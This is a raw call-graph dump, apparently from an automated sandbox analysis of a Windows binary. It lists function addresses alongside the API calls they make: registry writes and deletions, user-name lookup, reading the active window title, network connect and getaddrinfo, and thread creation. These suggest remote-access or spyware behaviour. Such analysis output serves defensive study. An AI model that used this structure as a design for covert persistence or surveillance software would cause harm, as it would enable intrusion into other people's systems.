47961->47960 47963 40772a 47962->47963 47964 413549 3 API calls 47963->47964 47965 407731 47964->47965 47965->47411 47965->47412 47967 41bc72 47966->47967 48396 40b904 47967->48396 47969 41bc7a 47969->47427 47971 401f22 47970->47971 47978 401f6a 47970->47978 47972 402252 11 API calls 47971->47972 47973 401f2b 47972->47973 47974 401f6d 47973->47974 47976 401f46 47973->47976 48429 402336 47974->48429 48428 40305c 28 API calls 47976->48428 47979 401f09 47978->47979 47980 402252 11 API calls 47979->47980 47981 401f12 47980->47981 47981->47439 47983 413965 47982->47983 47984 406dd8 28 API calls 47983->47984 47985 41397a 47984->47985 47986 4020f6 28 API calls 47985->47986 47987 41398a 47986->47987 47988 41376f 14 API calls 47987->47988 47989 413994 47988->47989 47990 401fd8 11 API calls 47989->47990 47991 4139a1 47990->47991 47991->47487 47993 40209b 47992->47993 47994 4023ce 11 API calls 47993->47994 47995 4020a6 47994->47995 48433 4024ed 47995->48433 47999 4137bf 47998->47999 48000 413788 47998->48000 48001 401fd8 11 API calls 47999->48001 48003 41379a RegSetValueExA RegCloseKey 48000->48003 48002 40ef9e 48001->48002 48002->47490 48003->47999 48005 43bac5 _strftime 48004->48005 48437 43ae03 48005->48437 48007 40efb7 48007->47496 48007->47498 48009 41b5a0 48008->48009 48010 41b505 GetLocalTime 48008->48010 48012 401fd8 11 API calls 48009->48012 48011 40531e 28 API calls 48010->48011 48014 41b547 48011->48014 48013 41b5a8 48012->48013 48015 401fd8 11 API calls 48013->48015 48016 406383 28 API calls 48014->48016 48017 40f00d 48015->48017 48018 41b553 48016->48018 48017->47514 48464 402f10 48018->48464 48021 406383 28 API calls 48022 41b56b 48021->48022 48469 407200 77 API calls 48022->48469 48024 41b579 48025 401fd8 11 API calls 48024->48025 48026 41b585 48025->48026 48027 401fd8 11 API calls 48026->48027 48028 41b58e 48027->48028 48029 401fd8 11 API calls 48028->48029 48030 41b597 48029->48030 48031 401fd8 11 API calls 48030->48031 48031->48009 48033 409e02 _wcslen 48032->48033 48034 409e24 48033->48034 48035 409e0d 48033->48035 48037 40da34 31 API calls 48034->48037 48036 40da34 31 API calls 48035->48036 48038 409e15 48036->48038 48039 409e2c 48037->48039 48040 401f13 28 API calls 48038->48040 48041 401f13 28 API calls 48039->48041 48042 409e1f 48040->48042 48043 409e3a 48041->48043 48045 401f09 11 API calls 48042->48045 48044 401f09 11 API calls 48043->48044 48046 409e42 48044->48046 48047 409e79 48045->48047 48488 40915b 28 API calls 48046->48488 48473 40a109 48047->48473 48049 409e54 48489 403014 48049->48489 48054 401f13 28 API calls 48055 409e69 48054->48055 48056 401f09 11 API calls 48055->48056 48056->48042 48058 41b630 GetUserNameW 48057->48058 48541 40417e 48058->48541 48063 403014 28 API calls 48064 41b672 48063->48064 48065 401f09 11 API calls 48064->48065 48066 41b67b 48065->48066 48067 401f09 11 API calls 48066->48067 48068 40f223 48067->48068 48068->47567 48070 413520 RegQueryValueExA RegCloseKey 48069->48070 48071 40f2e4 48069->48071 48070->48071 48071->47440 48071->47596 48073 40f392 48072->48073 48074 413a3f RegDeleteValueW 48072->48074 48073->47434 48074->48073 48076 40dd5b 48075->48076 48077 4134ff 3 API calls 48076->48077 48078 40dd62 48077->48078 48082 40dd81 48078->48082 48635 401707 48078->48635 48080 40dd6f 48638 413877 RegCreateKeyA 48080->48638 48083 414f2a 48082->48083 48084 4020df 11 API calls 48083->48084 48085 414f3e 48084->48085 48658 41b8b3 48085->48658 48088 4020df 11 API calls 48089 414f54 48088->48089 48090 401e65 22 API calls 48089->48090 48091 414f62 48090->48091 48092 43baac _strftime 40 API calls 48091->48092 48093 414f6f 48092->48093 48094 414f81 48093->48094 48095 414f74 Sleep 48093->48095 48096 402093 28 API calls 48094->48096 48095->48094 48097 414f90 48096->48097 48098 401e65 22 API calls 48097->48098 48099 414f99 48098->48099 48100 4020f6 28 API calls 48099->48100 48101 414fa4 48100->48101 48102 41be1b 28 API calls 48101->48102 48103 414fac 48102->48103 48662 40489e WSAStartup 48103->48662 48105 414fb6 48106 401e65 22 API calls 48105->48106 48107 414fbf 48106->48107 48108 401e65 22 API calls 48107->48108 48157 41503e 48107->48157 48109 414fd8 48108->48109 48111 401e65 22 API calls 48109->48111 48110 4020f6 28 API calls 48110->48157 48112 414fe9 48111->48112 48114 401e65 22 API calls 48112->48114 48113 41be1b 28 API calls 48113->48157 48115 414ffa 48114->48115 48116 401e65 22 API calls 48115->48116 48118 41500b 48116->48118 48117 406c1e 28 API calls 48117->48157 48120 401e65 22 API calls 48118->48120 48119 401fe2 28 API calls 48119->48157 48121 41501c 48120->48121 48122 401e65 22 API calls 48121->48122 48123 41502e 48122->48123 48806 40473d 89 API calls 48123->48806 48125 401fd8 11 API calls 48125->48157 48126 401e65 22 API calls 48126->48157 48128 41518c WSAGetLastError 48807 41cae1 30 API calls 48128->48807 48132 402093 28 API calls 48134 41519c 48132->48134 48134->48132 48136 41b4ef 80 API calls 48134->48136 48139 401e8d 11 API calls 48134->48139 48140 401e65 22 API calls 48134->48140 48141 43baac _strftime 40 API calls 48134->48141 48134->48157 48177 415a71 CreateThread 48134->48177 48178 401fd8 11 API calls 48134->48178 48179 401f09 11 API calls 48134->48179 48808 4052fd 28 API calls 48134->48808 48810 40b051 85 API calls 48134->48810 48811 404e26 99 API calls 48134->48811 48136->48134 48138 40531e 28 API calls 48138->48157 48139->48134 48140->48134 48142 415acf Sleep 48141->48142 48142->48134 48143 406383 28 API calls 48143->48157 48144 402f10 28 API calls 48144->48157 48145 402093 28 API calls 48145->48157 48146 41b4ef 80 API calls 48146->48157 48149 40905c 28 API calls 48149->48157 48151 4136f8 3 API calls 48151->48157 48152 4135a6 31 API calls 48152->48157 48153 40417e 28 API calls 48153->48157 48157->48110 48157->48113 48157->48117 48157->48119 48157->48125 48157->48126 48157->48128 48157->48134 48157->48138 48157->48143 48157->48144 48157->48145 48157->48146 48157->48149 48157->48151 48157->48152 48157->48153 48159 401e65 22 API calls 48157->48159 48663 414ee9 48157->48663 48668 40482d 48157->48668 48675 404f51 48157->48675 48690 4048c8 connect 48157->48690 48750 41b7e0 48157->48750 48753 4145bd 48157->48753 48756 441e81 48157->48756 48760 40dd89 48157->48760 48766 41bc42 48157->48766 48769 41bd1e 48157->48769 48773 41bb8e 48157->48773 48160 415439 GetTickCount 48159->48160 48161 41bb8e 28 API calls 48160->48161 48174 415456 48161->48174 48163 41bb8e 28 API calls 48163->48174 48166 41bd1e 28 API calls 48166->48174 48168 406383 28 API calls 48168->48174 48169 402ea1 28 API calls 48169->48174 48170 402f10 28 API calls 48170->48174 48172 401fd8 11 API calls 48172->48174 48173 401f09 11 API calls 48173->48174 48174->48163 48174->48166 48174->48168 48174->48169 48174->48170 48174->48172 48174->48173 48778 41bae6 48174->48778 48780 41ba96 48174->48780 48785 40f8d1 29 API calls 48174->48785 48786 402f31 28 API calls 48174->48786 48787 404c10 48174->48787 48809 404aa1 61 API calls _Yarn 48174->48809 48177->48134 48999 41ad17 105 API calls 48177->48999 48178->48134 48179->48134 48180->47352 48181->47359 48182->47363 48185 4020df 11 API calls 48184->48185 48186 406c2a 48185->48186 48187 4032a0 28 API calls 48186->48187 48188 406c47 48187->48188 48188->47385 48190 413573 RegQueryValueExA RegCloseKey 48189->48190 48191 40eba4 48189->48191 48190->48191 48191->47382 48191->47400 48192->47388 48193->47418 48194->47412 48195->47402 48196->47416 49000 401f86 48197->49000 48200 40da70 49004 41b5b4 29 API calls 48200->49004 48201 40daa5 48203 41bfb7 GetCurrentProcess 48201->48203 48202 40db99 GetLongPathNameW 48205 40417e 28 API calls 48202->48205 48206 40daaa 48203->48206 48208 40dbae 48205->48208 48209 40db00 48206->48209 48210 40daae 48206->48210 48207 40da79 48211 401f13 28 API calls 48207->48211 48212 40417e 28 API calls 48208->48212 48213 40417e 28 API calls 48209->48213 48214 40417e 28 API calls 48210->48214 48215 40da83 48211->48215 48217 40dbbd 48212->48217 48218 40db0e 48213->48218 48219 40dabc 48214->48219 48220 401f09 11 API calls 48215->48220 48216 40da66 48216->48202 49007 40ddd1 28 API calls 48217->49007 48224 40417e 28 API calls 48218->48224 48225 40417e 28 API calls 48219->48225 48220->48216 48222 40dbd0 49008 402fa5 28 API calls 48222->49008 48227 40db24 48224->48227 48228 40dad2 48225->48228 48226 40dbdb 49009 402fa5 28 API calls 48226->49009 49006 402fa5 28 API calls 48227->49006 49005 402fa5 28 API calls 48228->49005 48232 40dbe5 48236 401f09 11 API calls 48232->48236 48233 40db2f 48237 401f13 28 API calls 48233->48237 48234 40dadd 48235 401f13 28 API calls 48234->48235 48239 40dae8 48235->48239 48240 40dbef 48236->48240 48238 40db3a 48237->48238 48241 401f09 11 API calls 48238->48241 48242 401f09 11 API calls 48239->48242 48243 401f09 11 API calls 48240->48243 48245 40db43 48241->48245 48246 40daf1 48242->48246 48244 40dbf8 48243->48244 48247 401f09 11 API calls 48244->48247 48248 401f09 11 API calls 48245->48248 48249 401f09 11 API calls 48246->48249 48250 40dc01 48247->48250 48248->48215 48249->48215 48251 401f09 11 API calls 48250->48251 48252 40dc0a 48251->48252 48253 401f09 11 API calls 48252->48253 48254 40dc13 48253->48254 48254->47476 48255->47488 48256->47510 48258 41371e RegQueryValueExA RegCloseKey 48257->48258 48259 413742 48257->48259 48258->48259 48259->47466 48260->47502 48261->47539 48262->47548 48263->47572 48264->47560 48266->47604 48267->47407 48270 41b4c5 LoadResource LockResource SizeofResource 48269->48270 48271 40f3de 48269->48271 48270->48271 48272 43bd51 48271->48272 48277 446137 ___crtLCMapStringA 48272->48277 48273 446175 48289 4405dd 20 API calls _Atexit 48273->48289 48274 446160 RtlAllocateHeap 48276 446173 48274->48276 48274->48277 48276->47862 48277->48273 48277->48274 48288 442f80 7 API calls 2 library calls 48277->48288 48280 4020bf 48279->48280 48290 4023ce 48280->48290 48282 4020ca 48294 40250a 48282->48294 48284 4020d9 48284->47865 48286 4020b7 28 API calls 48285->48286 48287 406dec 48286->48287 48287->47872 48288->48277 48289->48276 48291 4023d8 48290->48291 48292 402428 48290->48292 48291->48292 48301 4027a7 11 API calls std::_Deallocate 48291->48301 48292->48282 48295 40251a 48294->48295 48296 402520 48295->48296 48297 402535 48295->48297 48302 402569 48296->48302 48312 4028e8 28 API calls 48297->48312 48300 402533 48300->48284 48301->48292 48313 402888 48302->48313 48304 40257d 48305 402592 48304->48305 48306 4025a7 48304->48306 48318 402a34 22 API calls 48305->48318 48320 4028e8 28 API calls 48306->48320 48309 40259b 48319 4029da 22 API calls 48309->48319 48311 4025a5 48311->48300 48312->48300 48314 402890 48313->48314 48315 402898 48314->48315 48321 402ca3 22 API calls 48314->48321 48315->48304 48318->48309 48319->48311 48320->48311 48323 4020e7 48322->48323 48324 4023ce 11 API calls 48323->48324 48325 4020f2 48324->48325 48325->47890 48331 40423a 48326->48331 48329->47890 48330->47900 48332 404243 48331->48332 48333 4023ce 11 API calls 48332->48333 48334 40424e 48333->48334 48335 402569 28 API calls 48334->48335 48336 4041b5 48335->48336 48336->47890 48337->47904 48338->47909 48339->47907 48343 4032aa 48341->48343 48342 4032c9 48342->47920 48343->48342 48345 4028e8 28 API calls 48343->48345 48345->48342 48347 4051fb 48346->48347 48356 405274 48347->48356 48349 405208 48349->47923 48351 402061 48350->48351 48352 4023ce 11 API calls 48351->48352 48353 40207b 48352->48353 48380 40267a 48353->48380 48357 405282 48356->48357 48358 405288 48357->48358 48359 40529e 48357->48359 48367 4025f0 48358->48367 48361 4052f5 48359->48361 48362 4052b6 48359->48362 48377 4028a4 22 API calls 48361->48377 48366 40529c 48362->48366 48376 4028e8 28 API calls 48362->48376 48366->48349 48368 402888 22 API calls 48367->48368 48369 402602 48368->48369 48370 402672 48369->48370 48372 402629 48369->48372 48379 4028a4 22 API calls 48370->48379 48375 40263b 48372->48375 48378 4028e8 28 API calls 48372->48378 48375->48366 48376->48366 48378->48375 48381 40268b 48380->48381 48382 4023ce 11 API calls 48381->48382 48383 40208d 48382->48383 48383->47926 48384->47928 48385->47939 48388 41bfc4 GetCurrentProcess 48387->48388 48389 41b2d1 48387->48389 48388->48389 48390 4135a6 RegOpenKeyExA 48389->48390 48391 4135d4 RegQueryValueExA RegCloseKey 48390->48391 48392 4135fe 48390->48392 48391->48392 48393 402093 28 API calls 48392->48393 48394 413613 48393->48394 48394->47950 48395->47961 48397 40b90c 48396->48397 48402 402252 48397->48402 48399 40b917 48406 40b92c 48399->48406 48401 40b926 48401->47969 48403 40225c 48402->48403 48404 4022ac 48402->48404 48403->48404 48413 402779 11 API calls std::_Deallocate 48403->48413 48404->48399 48407 40b966 48406->48407 48408 40b938 48406->48408 48425 4028a4 22 API calls 48407->48425 48414 4027e6 48408->48414 48412 40b942 48412->48401 48413->48404 48415 4027ef 48414->48415 48416 402851 48415->48416 48417 4027f9 48415->48417 48427 4028a4 22 API calls 48416->48427 48420 402802 48417->48420 48421 402815 48417->48421 48426 402aea 28 API calls __EH_prolog 48420->48426 48423 402813 48421->48423 48424 402252 11 API calls 48421->48424 48423->48412 48424->48423 48426->48423 48428->47978 48430 402347 48429->48430 48431 402252 11 API calls 48430->48431 48432 4023c7 48431->48432 48432->47978 48434 4024f9 48433->48434 48435 40250a 28 API calls 48434->48435 48436 4020b1 48435->48436 48436->47482 48453 43ba0a 48437->48453 48439 43ae50 48440 43a7b7 _strftime 36 API calls 48439->48440 48445 43ae5c 48440->48445 48441 43ae15 48441->48439 48442 43ae2a 48441->48442 48452 43ae2f _Atexit 48441->48452 48458 4405dd 20 API calls _Atexit 48442->48458 48446 43ae8b 48445->48446 48459 43ba4f 40 API calls __Tolower 48445->48459 48449 43aef7 48446->48449 48460 43b9b6 20 API calls 2 library calls 48446->48460 48461 43b9b6 20 API calls 2 library calls 48449->48461 48450 43afbe _strftime 48450->48452 48462 4405dd 20 API calls _Atexit 48450->48462 48452->48007 48454 43ba22 48453->48454 48455 43ba0f 48453->48455 48454->48441 48463 4405dd 20 API calls _Atexit 48455->48463 48457 43ba14 _Atexit 48457->48441 48458->48452 48459->48445 48460->48449 48461->48450 48462->48452 48463->48457 48470 401fb0 48464->48470 48466 402f1e 48467 402055 11 API calls 48466->48467 48468 402f2d 48467->48468 48468->48021 48469->48024 48471 4025f0 28 API calls 48470->48471 48472 401fbd 48471->48472 48472->48466 48474 40a127 48473->48474 48475 413549 3 API calls 48474->48475 48476 40a12e 48475->48476 48477 40a142 48476->48477 48478 40a15c 48476->48478 48479 409e9b 48477->48479 48480 40a147 48477->48480 48481 40905c 28 API calls 48478->48481 48479->47533 48494 40905c 48480->48494 48483 40a16a 48481->48483 48501 40a179 86 API calls 48483->48501 48487 40a15a 48487->48479 48488->48049 48518 403222 48489->48518 48491 403022 48522 403262 48491->48522 48495 409072 48494->48495 48496 402252 11 API calls 48495->48496 48497 40908c 48496->48497 48502 404267 48497->48502 48499 40909a 48500 40a22d 29 API calls 48499->48500 48500->48487 48514 40a273 163 API calls 48500->48514 48501->48479 48515 40a267 86 API calls 48501->48515 48516 40a289 48 API calls 48501->48516 48517 40a27d 128 API calls 48501->48517 48503 402888 22 API calls 48502->48503 48504 40427b 48503->48504 48505 404290 48504->48505 48506 4042a5 48504->48506 48512 4042df 22 API calls 48505->48512 48508 4027e6 28 API calls 48506->48508 48511 4042a3 48508->48511 48509 404299 48513 402c48 22 API calls 48509->48513 48511->48499 48512->48509 48513->48511 48519 40322e 48518->48519 48528 403618 48519->48528 48521 40323b 48521->48491 48523 40326e 48522->48523 48524 402252 11 API calls 48523->48524 48525 403288 48524->48525 48526 402336 11 API calls 48525->48526 48527 403031 48526->48527 48527->48054 48529 403626 48528->48529 48530 403644 48529->48530 48531 40362c 48529->48531 48533 40369e 48530->48533 48535 40365c 48530->48535 48539 4036a6 28 API calls 48531->48539 48540 4028a4 22 API calls 48533->48540 48537 4027e6 28 API calls 48535->48537 48538 403642 48535->48538 48537->48538 48538->48521 48539->48538 48542 404186 48541->48542 48543 402252 11 API calls 48542->48543 48544 404191 48543->48544 48552 4041bc 48544->48552 48547 4042fc 48563 404353 48547->48563 48549 40430a 48550 403262 11 API calls 48549->48550 48551 404319 48550->48551 48551->48063 48553 4041c8 48552->48553 48556 4041d9 48553->48556 48555 40419c 48555->48547 48557 4041e9 48556->48557 48558 404206 48557->48558 48559 4041ef 48557->48559 48560 4027e6 28 API calls 48558->48560 48561 404267 28 API calls 48559->48561 48562 404204 48560->48562 48561->48562 48562->48555 48564 40435f 48563->48564 48567 404371 48564->48567 48566 40436d 48566->48549 48568 40437f 48567->48568 48569 404385 48568->48569 48570 40439e 48568->48570 48633 4034e6 28 API calls 48569->48633 48571 402888 22 API calls 48570->48571 48572 4043a6 48571->48572 48574 404419 48572->48574 48575 4043bf 48572->48575 48634 4028a4 22 API calls 48574->48634 48578 4027e6 28 API calls 48575->48578 48586 40439c 48575->48586 48578->48586 48586->48566 48633->48586 48641 43aa9a 48635->48641 48639 4138b9 48638->48639 48640 41388f RegSetValueExA RegCloseKey 48638->48640 48639->48082 48640->48639 48644 43aa1b 48641->48644 48643 40170d 48643->48080 48645 43aa2a 48644->48645 48646 43aa3e 48644->48646 48657 4405dd 20 API calls _Atexit 48645->48657 48649 43aa2f __alldvrm _Atexit 48646->48649 48650 448957 48646->48650 48649->48643 48651 4484ca _Atexit 5 API calls 48650->48651 48652 44897e 48651->48652 48653 448996 GetSystemTimeAsFileTime 48652->48653 48654 44898a 48652->48654 48653->48654 48655 434fcb TranslatorGuardHandler 5 API calls 48654->48655 48656 4489a7 48655->48656 48656->48649 48657->48649 48661 41b8f9 _Yarn ___scrt_get_show_window_mode 48658->48661 48659 402093 28 API calls 48660 414f49 48659->48660 48660->48088 48661->48659 48662->48105 48664 414f02 getaddrinfo WSASetLastError 48663->48664 48665 414ef8 48663->48665 48664->48157 48812 414d86 48665->48812 48669 404846 socket 48668->48669 48670 404839 48668->48670 48671 404860 CreateEventW 48669->48671 48672 404842 48669->48672 48851 40489e WSAStartup 48670->48851 48671->48157 48672->48157 48674 40483e 48674->48669 48674->48672 48676 404f65 48675->48676 48677 404fea 48675->48677 48678 404f6e 48676->48678 48679 404fc0 CreateEventA CreateThread 48676->48679 48680 404f7d GetLocalTime 48676->48680 48677->48157 48678->48679 48679->48677 48853 405150 48679->48853 48681 41bb8e 28 API calls 48680->48681 48682 404f91 48681->48682 48852 4052fd 28 API calls 48682->48852 48691 404a1b 48690->48691 48692 4048ee 48690->48692 48693 40497e 48691->48693 48694 404a21 WSAGetLastError 48691->48694 48692->48693 48695 404923 48692->48695 48697 40531e 28 API calls 48692->48697 48693->48157 48694->48693 48696 404a31 48694->48696 48857 420c60 27 API calls 48695->48857 48698 404932 48696->48698 48699 404a36 48696->48699 48702 40490f 48697->48702 48705 402093 28 API calls 48698->48705 48862 41cae1 30 API calls 48699->48862 48701 40492b 48701->48698 48704 404941 48701->48704 48706 402093 28 API calls 48702->48706 48714 404950 48704->48714 48715 404987 48704->48715 48708 404a80 48705->48708 48709 40491e 48706->48709 48707 404a40 48863 4052fd 28 API calls 48707->48863 48711 402093 28 API calls 48708->48711 48712 41b4ef 80 API calls 48709->48712 48716 404a8f 48711->48716 48712->48695 48720 402093 28 API calls 48714->48720 48859 421a40 54 API calls 48715->48859 48721 41b4ef 80 API calls 48716->48721 48724 40495f 48720->48724 48721->48693 48722 40498f 48725 4049c4 48722->48725 48726 404994 48722->48726 48728 402093 28 API calls 48724->48728 48861 420e06 28 API calls 48725->48861 48729 402093 28 API calls 48726->48729 48731 40496e 48728->48731 48733 4049a3 48729->48733 48734 41b4ef 80 API calls 48731->48734 48736 402093 28 API calls 48733->48736 48737 404973 48734->48737 48735 4049cc 48738 4049f9 CreateEventW CreateEventW 48735->48738 48740 402093 28 API calls 48735->48740 48739 4049b2 48736->48739 48858 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48737->48858 48738->48693 48742 41b4ef 80 API calls 48739->48742 48741 4049e2 48740->48741 48744 402093 28 API calls 48741->48744 48745 4049b7 48742->48745 48746 4049f1 48744->48746 48860 4210b2 52 API calls 48745->48860 48748 41b4ef 80 API calls 48746->48748 48749 4049f6 48748->48749 48749->48738 48864 41b7b6 GlobalMemoryStatusEx 48750->48864 48752 41b7f5 48752->48157 48865 414580 48753->48865 48757 441e8d 48756->48757 48894 441c7d 48757->48894 48759 441eae 48759->48157 48761 40dda5 48760->48761 48762 4134ff 3 API calls 48761->48762 48764 40ddac 48762->48764 48763 40ddc4 48763->48157 48764->48763 48765 413549 3 API calls 48764->48765 48765->48763 48767 4020b7 28 API calls 48766->48767 48768 41bc57 48767->48768 48768->48157 48770 41bd2b 48769->48770 48771 4020b7 28 API calls 48770->48771 48772 41bd3d 48771->48772 48772->48157 48774 441e81 20 API calls 48773->48774 48775 41bbb2 48774->48775 48776 402093 28 API calls 48775->48776 48777 41bbc0 48776->48777 48777->48157 48779 41bafc GetTickCount 48778->48779 48779->48174 48781 436e90 ___scrt_get_show_window_mode 48780->48781 48782 41bab5 GetForegroundWindow GetWindowTextW 48781->48782 48783 40417e 28 API calls 48782->48783 48784 41badf 48783->48784 48784->48174 48785->48174 48786->48174 48788 4020df 11 API calls 48787->48788 48789 404c27 48788->48789 48790 4020df 11 API calls 48789->48790 48802 404c30 48790->48802 48791 43bd51 new 21 API calls 48791->48802 48793 404c96 48795 404ca1 48793->48795 48793->48802 48794 4020b7 28 API calls 48794->48802 48912 404e26 99 API calls 48795->48912 48796 401fe2 28 API calls 48796->48802 48798 404ca8 48800 401fd8 11 API calls 48798->48800 48799 401fd8 11 API calls 48799->48802 48801 404cb1 48800->48801 48803 401fd8 11 API calls 48801->48803 48802->48791 48802->48793 48802->48794 48802->48796 48802->48799 48899 404cc3 48802->48899 48911 404b96 57 API calls 48802->48911 48804 404cba 48803->48804 48804->48134 48806->48157 48807->48134 48809->48174 48810->48134 48811->48134 48813 414dc8 GetSystemDirectoryA 48812->48813 48830 414ecf 48812->48830 48814 414de3 48813->48814 48813->48830 48833 441a3e 48814->48833 48816 414dff 48840 441a98 48816->48840 48818 414e0f LoadLibraryA 48819 414e31 GetProcAddress 48818->48819 48820 414e42 48818->48820 48819->48820 48821 414e3d FreeLibrary 48819->48821 48822 441a3e ___std_exception_copy 20 API calls 48820->48822 48831 414e93 48820->48831 48821->48820 48823 414e5e 48822->48823 48824 441a98 20 API calls 48823->48824 48827 414e6e LoadLibraryA 48824->48827 48825 414e99 GetProcAddress 48826 414eb4 FreeLibrary 48825->48826 48825->48831 48828 414eb2 48826->48828 48829 414e82 GetProcAddress 48827->48829 48827->48830 48828->48830 48829->48831 48832 414e8e FreeLibrary 48829->48832 48830->48664 48831->48825 48831->48828 48831->48830 48832->48831 48834 441a59 48833->48834 48835 441a4b 48833->48835 48847 4405dd 20 API calls _Atexit 48834->48847 48835->48834 48838 441a70 48835->48838 48837 441a61 _Atexit 48837->48816 48838->48837 48848 4405dd 20 API calls _Atexit 48838->48848 48841 441ab4 48840->48841 48843 441aa6 48840->48843 48849 4405dd 20 API calls _Atexit 48841->48849 48843->48841 48844 441add 48843->48844 48846 441abc _Atexit 48844->48846 48850 4405dd 20 API calls _Atexit 48844->48850 48846->48818 48847->48837 48848->48837 48849->48846 48850->48846 48851->48674 48856 40515c 102 API calls 48853->48856 48855 405159 48856->48855 48857->48701 48858->48693 48859->48722 48860->48737 48861->48735 48862->48707 48864->48752 48868 414553 48865->48868 48869 414568 ___scrt_initialize_default_local_stdio_options 48868->48869 48872 43f79d 48869->48872 48875 43c4f0 48872->48875 48876 43c530 48875->48876 48877 43c518 48875->48877 48876->48877 48879 43c538 48876->48879 48890 4405dd 20 API calls _Atexit 48877->48890 48880 43a7b7 _strftime 36 API calls 48879->48880 48881 43c548 48880->48881 48891 43cc76 20 API calls 2 library calls 48881->48891 48882 43c51d _Atexit 48884 434fcb TranslatorGuardHandler 5 API calls 48882->48884 48886 414576 48884->48886 48885 43c5c0 48892 43d2e4 51 API calls 3 library calls 48885->48892 48886->48157 48889 43c5cb 48893 43cce0 20 API calls _free 48889->48893 48890->48882 48891->48885 48892->48889 48893->48882 48895 441c94 48894->48895 48897 441ccb _Atexit 48895->48897 48898 4405dd 20 API calls _Atexit 48895->48898 48897->48759 48898->48897 48900 4020df 11 API calls 48899->48900 48909 404cde 48900->48909 48901 404e13 48902 401fd8 11 API calls 48901->48902 48903 404e1c 48902->48903 48903->48793 48904 4041a2 28 API calls 48904->48909 48905 401fe2 28 API calls 48905->48909 48906 401fc0 28 API calls 48908 404dad CreateEventA CreateThread WaitForSingleObject CloseHandle 48906->48908 48907 4020f6 28 API calls 48907->48909 48908->48909 48913 415aea 48908->48913 48909->48901 48909->48904 48909->48905 48909->48906 48909->48907 48910 401fd8 11 API calls 48909->48910 48910->48909 48911->48802 48912->48798 48914 4020f6 28 API calls 48913->48914 48915 415b0c SetEvent 48914->48915 48916 415b21 48915->48916 48917 4041a2 28 API calls 48916->48917 48918 415b3b 48917->48918 48919 4020f6 28 API calls 48918->48919 48920 415b4b 48919->48920 48921 4020f6 28 API calls 48920->48921 48922 415b5d 48921->48922 48923 41be1b 28 API calls 48922->48923 48924 415b66 48923->48924 48925 417089 48924->48925 48926 415b86 GetTickCount 48924->48926 48927 415d2f 48924->48927 48928 401e8d 11 API calls 48925->48928 48929 41bb8e 28 API calls 48926->48929 48927->48925 48990 415ce5 48927->48990 48930 417092 48928->48930 48931 415b97 48929->48931 48933 401fd8 11 API calls 48930->48933 48934 41bae6 GetTickCount 48931->48934 48935 41709e 48933->48935 48936 415ba3 48934->48936 48937 401fd8 11 API calls 48935->48937 48938 41bb8e 28 API calls 48936->48938 48939 4170aa 48937->48939 48940 415bae 48938->48940 48941 41ba96 30 API calls 48940->48941 48942 415bbc 48941->48942 48943 41bd1e 28 API calls 48942->48943 48944 415bca 48943->48944 48945 401e65 22 API calls 48944->48945 48946 415bd8 48945->48946 48992 402f31 28 API calls 48946->48992 48948 415be6 48993 402ea1 28 API calls 48948->48993 48950 415bf5 48951 402f10 28 API calls 48950->48951 48952 415c04 48951->48952 48994 402ea1 28 API calls 48952->48994 48954 415c13 48955 402f10 28 API calls 48954->48955 48956 415c1f 48955->48956 48995 402ea1 28 API calls 48956->48995 48958 415c29 48996 404aa1 61 API calls _Yarn 48958->48996 48960 415c38 48961 401fd8 11 API calls 48960->48961 48962 415c41 48961->48962 48963 401fd8 11 API calls 48962->48963 48964 415c4d 48963->48964 48965 401fd8 11 API calls 48964->48965 48966 415c59 48965->48966 48967 401fd8 11 API calls 48966->48967 48968 415c65 48967->48968 48969 401fd8 11 API calls 48968->48969 48970 415c71 48969->48970 48971 401fd8 11 API calls 48970->48971 48972 415c7d 48971->48972 48973 401f09 11 API calls 48972->48973 48974 415c86 48973->48974 48975 401fd8 11 API calls 48974->48975 48976 415c8f 48975->48976 48977 401fd8 11 API calls 48976->48977 48978 415c98 48977->48978 48979 401e65 22 API calls 48978->48979 48980 415ca3 48979->48980 48981 43baac _strftime 40 API calls 48980->48981 48982 415cb0 48981->48982 48983 415cb5 48982->48983 48984 415cdb 48982->48984 48986 415cc3 48983->48986 48987 415cce 48983->48987 48985 401e65 22 API calls 48984->48985 48985->48990 48997 404ff4 82 API calls 48986->48997 48989 404f51 105 API calls 48987->48989 48991 415cc9 48989->48991 48990->48925 48998 4050e4 84 API calls 48990->48998 48991->48925 48992->48948 48993->48950 48994->48954 48995->48958 48996->48960 48997->48991 48998->48991 49001 401f8e 49000->49001 49002 402252 11 API calls 49001->49002 49003 401f99 49002->49003 49003->48200 49003->48201 49003->48216 49004->48207 49005->48234 49006->48233 49007->48222 49008->48226 49009->48232 49012 40f7c2 49010->49012 49011 413549 3 API calls 49011->49012 49012->49011 49013 40f866 49012->49013 49015 40f856 Sleep 49012->49015 49032 40f7f4 49012->49032 49016 40905c 28 API calls 49013->49016 49014 40905c 28 API calls 49014->49032 49015->49012 49017 40f871 49016->49017 49020 41bc5e 28 API calls 49017->49020 49019 41bc5e 28 API calls 49019->49032 49021 40f87d 49020->49021 49045 413814 14 API calls 49021->49045 49024 401f09 11 API calls 49024->49032 49025 40f890 49026 401f09 11 API calls 49025->49026 49028 40f89c 49026->49028 49027 402093 28 API calls 49027->49032 49029 402093 28 API calls 49028->49029 49030 40f8ad 49029->49030 49033 41376f 14 API calls 49030->49033 49031 41376f 14 API calls 49031->49032 49032->49014 49032->49015 49032->49019 49032->49024 49032->49027 49032->49031 49043 40d096 112 API calls ___scrt_get_show_window_mode 49032->49043 49044 413814 14 API calls 49032->49044 49034 40f8c0 49033->49034 49046 412850 TerminateProcess WaitForSingleObject 49034->49046 49036 40f8c8 ExitProcess 49047 4127ee 62 API calls 49040->49047 49044->49032 49045->49025 49046->49036 49048 4269e6 49049 4269fb 49048->49049 49060 426a8d 49048->49060 49050 426b44 49049->49050 49051 426abd 49049->49051 49052 426b1d 49049->49052 49055 426af2 49049->49055 49056 426a48 49049->49056 49049->49060 49062 426a7d 49049->49062 49076 424edd 49 API calls _Yarn 49049->49076 49050->49060 49081 426155 28 API calls 49050->49081 49051->49055 49051->49060 49079 41fb6c 52 API calls 49051->49079 49052->49050 49052->49060 49064 425ae1 49052->49064 49055->49052 49080 4256f0 21 API calls 49055->49080 49056->49060 49056->49062 49077 41fb6c 52 API calls 49056->49077 49062->49051 49062->49060 49078 424edd 49 API calls _Yarn 49062->49078 49065 425b00 ___scrt_get_show_window_mode 49064->49065 49067 425b0f 49065->49067 49070 425b34 49065->49070 49082 41ebbb 21 API calls 49065->49082 49067->49070 49075 425b14 49067->49075 49083 4205d8 46 API calls 49067->49083 49070->49050 49071 425b1d 49071->49070 49086 424d05 21 API calls 2 library calls 49071->49086 49073 425bb7 49073->49070 